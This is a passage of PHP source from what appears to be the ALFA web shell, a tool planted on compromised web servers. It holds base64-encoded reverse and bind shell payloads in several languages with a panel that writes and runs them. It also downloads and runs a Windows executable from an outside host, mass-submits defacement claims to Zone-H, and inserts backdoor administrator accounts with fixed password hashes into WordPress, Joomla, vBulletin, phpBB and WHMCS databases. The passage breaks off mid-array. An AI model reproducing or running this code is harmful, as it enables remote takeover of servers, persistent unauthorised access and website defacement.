$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
$ruby="tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$node="nVHLasMwEDwrkH8QvliCoEDTW8ih9BPSW/pAtdeRQJZcSXYKIfn2yrKd5tGWYh+Ed2d2NDtquMWu4juNV9jCRy0tkDQTUuVvlTUZOJdSFgnL6aQJZA3+nBrKlPaQ8xZ4eY52nRMhM9oZBRdXda1I6VUEKBUo6fxd6rkTaUBkQXo3rFLcF8aWrOQ+E2T+ugssSen3XFbmDD4hPSlyu20CMCi0ZafZ/jEFeuvFarWg++kEtXwRyGEvlgXzHtZgG7CkqHXmpdHERR5ybGelB5Ic8YMqOH5qV19HD8dnnbT74P7rtgqiMUcSjZ7jTjDnc6mZBVeXQOg1ZGrPws1Jzj1PZoMTTNqa7gcnsVoebpXB2pHjf40Npm+mUXcKpqTzoGPKm7uXtnmYTkA5wNfZ35+ydxfZPxqtoYu9V5nF19wsotx/HgH9lj76IXY0Mm80Mmg0LuHDFw==";
$c="tVJtb9owEP7cSv0PHp1ap/WAsO0TTaWoZBLaChHJNE0bilLHNKcZG8Vmgk7rb98lBArZi/alUqzcPff47nzPnYLicpkJcmVsBrqdX58cn+5hBaj738BMwl0TXJuOXS+E+QNuNP8mbCOghAU8HVCNwFIBVqhAUJbMU1C0NNLinjOepwW5QPP7l6nz4+T4qIwYxpn23D662PCSI4IV0ywrElAEShxmtLzveb3q1hG0Dahkls5Brj3/XTIcBXH/KbDQhfVyq5WhqdVAq4Lu1HH2OGX+tql+FVXS4cgfDCaJP/q84Rlv83JaF2DR+OZ9EsWTwL9l3ZojbEnSC0sNxj8kJaeiJpPgYxSUGdmZZgYehJ5RvW1hRl8YR6zA0jrRHagMU9DGBMiFcwasu3JrmsThCoXEtxufeynnoqrefeoJU3HWeiS+nKUkFumcRLmQkjx+VS3We7MlZstFD4mHnnvg9eqUayw7py2xKkdL4mBy662sKOb9MHK985fhp8H1eb+OIoSm4KSDj+qYnLyCVt2t1EZQXjk/8QhpBNlp+/pZtC23tLI2zN60nveDKPQWYjh1iWPdMi7dy31kl/2fGzEMw8k4HifxTbgTmXKtlOD2r8rWe9GIOY5z1T1Yj0pT87+amobnHnjPoanZaorfLw==";
$java="lVRNb9swDD2nQP+D4JM9BG6T04bCwz6ww4ABHZbeuhwUhbG12rIg0XGCNPvtoz7sumsvPdiWyCfy8ZGybHRrkP3he57LNn93c3khJyYF6G2XF7rb1FIwUXNrGa93/A54c7q8mGkj9xyBWeRIgJ1UvI4wjQwOCGpr2V1lgG8dfjzwXekOV0j2hkl7M3Xddvjkazv0DMgdOGhMn5+dvziQnbCSNpe2oMh+ScbCRTqHUJ9u92CM3MIk7r6VW2Y6lWae5wzNMSxmmyPC/ZptWMEU9Mxv3y8+LNc3wS8VMkFOyuPKTDdZdPSVrCEVH4vrjMVYM2KR90YipJv59VwMUG/f1Z2t0tH0asyz/4S34Ciq9NtBgEbZKgbZCXJSUZEWXDzcGS6Awnmwe4XqY72xY77shkuVkn5SlVQoN6UNIrjK3Dj43MHPRLMlXsnVRqorWyXeJXfp6mgRmrwE/GlaDQaPadLaXPEGkizH9kfbg/nKLRHKpdrC4XaXJr1USebkOcWo9EkC35itd9a/7DONHHMzx1YV1DX7+1uFzJPe9C75F9rbKOGqFQ+ArIp9C9voG7tL1F29eQ2qxKooFrH9M38NCppThBJMrrmxQBuPvr9eD/1YgaFZiqnskGpiTF2gAe242JwL17Gh0aGXUFtg/5NZvpVMEE1qwnrXYj1JPBFB6jmb8Dq/LgV7fGSv85newFK6siun/sQ8jvGzy1m2I3ZqH8HkH27HYKJxEuB+J3TwV6dQNuCOxyVNExxApDQ4WfxPkFo0tYtYMOmsX1CbOyJDAodePqFL90fRLxmO8EVOV8e49unluHyS0b/ecDPpOf8D";
echo "<div class=header><center><br><div class='txtfont_header'>| Back Connect |</div><br><br>";
echo "<form onSubmit=\"g('connect',null,this.selectCb.value,this.server.value,this.port.value,this.cbmethod.value);return false;\">
<div class=\"txtfont\">Mehtod:</div> <select name='cbmethod' onChange='ctlbc(this);' style='width:120px;'><option value='back'>Reverse Shell</option><option value='bind'>Bind Port</option></select> <div class=\"txtfont\">Use:</div> <select name='selectCb'>";
$cbArr = array("php"=>"Php","perl"=>"Perl","python"=>"Python","ruby"=>"Ruby","c"=>"C","java"=>"Java","node"=>"NodeJs","bcwin"=>"Windows");
foreach($cbArr as $key=>$val){echo("<option value='{$key}' ".($GLOBALS['sys']=='win'?'selected':'').">{$val}</option>");}
echo "</select> <div id='bcipAction' style='display:inline-block;'><div class=\"txtfont\">IP:</div> <input type='text' style='text-align:center;' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></div> <div class=\"txtfont\">Port: </div> <input type='text' size='5' style='text-align:center;' name='port' value='2012'> <input type='submit' value=' '></form><p><div id='bcStatus'><small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small></div></p></center></b></font><br>";
if(isset($_POST['alfa1'])&&!empty($_POST['alfa1'])){
$lang = $_POST['alfa1'];
$ip = $_POST['alfa2'];
$port = $_POST['alfa3'];
$arg = ($_POST['alfa4']=='bind'?$port:$port.' '.$ip);
$tmpdir = ALFA_TEMPDIR;
$name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
$allow = array('perl','ruby','python','node');
eval('$lan=$'.$lang.';');
if(in_array($lang,$allow)){
if(__write_file($name,__get_resource($lan))){
if(_alfa_can_runCommand(true,true)){
$os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
$out = alfaEx("$lang $name $arg $os");
if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
}
}else{
echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
}
}
if($lang=='java'||$lang=='c'){
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code,'',''));
echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
}
if($lang=='bcwin'){
$alfa = new AlfaCURL();
$s = $alfa->Send('http://solevisible.com/bc/windows.exe');
$tmpdir = ALFA_TEMPDIR;
$f = @fopen($tmpdir.'/bcwin.exe','w+');
@fwrite($f, $s);
@fclose($f);
$out = alfaEx($tmpdir."/bcwin.exe ".$_POST['alfa2']." ".$_POST['alfa3']);
}
if($lang=='php'){
echo "<pre class=ml1 style='margin-top:5px'>";
$code = __get_resource($lan);
if($code!==false){
$code = "\$target = \"".$arg."\";\n".$code;
eval($code);
echo("<center><font color='green'>[ Finished...! ]</font></center>");
}
echo "</pre>";
}
}
echo "</div>";
alfafooter();
}
function alfazoneh(){
alfahead();
echo '<div class=header>';
if(!function_exists('curl_version')){
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
$hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');
$reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');
echo '
<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
<input type="text" name="defacer" size="67" id="text" placeholder="ALFA TEaM 2012" />
<br>
<select id="text" name="hackmode" style="width:400px;">';
$x=1;
foreach($hackmode as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br><select id="text" name="reason" style="width:200px;">';
$x=1;
foreach($reason as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br>
<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
<p><input type="submit" value=" " name="go" /></p>
</form></center>';
if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
ob_start();
$hacker = $_POST['alfa1'];
$method = $_POST['alfa2'];
$neden = $_POST['alfa3'];
$site = $_POST['alfa4'];
if(empty($hacker)){
die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
}elseif($method == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
}elseif($neden == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
}elseif(empty($site)){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("\n", $site);
$alfa = new AlfaCURL();
while($i < count($sites)){
if(substr($sites[$i], 0, 4) != "http"){
$sites[$i] = "http://".$sites[$i];
}
$alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
++$i;
}
echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
alfafooter();
}
function alfapwchanger(){
alfahead();

echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
<center><h3>';
$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
Alfa_Create_A_Tag('pwchanger',$vals);
echo '</h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){

echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
<p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form>';
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis['ID'];
}
$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){

echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
$sole =@mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis =@mysqli_fetch_assoc($solevisible);
$res = $solevis['id'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){

echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if($pw_col > 0){
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
}else{
$adm_perm = "2143256444";
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
}
$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['userid'];
}
$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){

echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5('solevisible');
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');
}
}
}
if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){

echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
 array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
 'td7' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
 'td8' =>
 array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){

echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
 'td6' =>
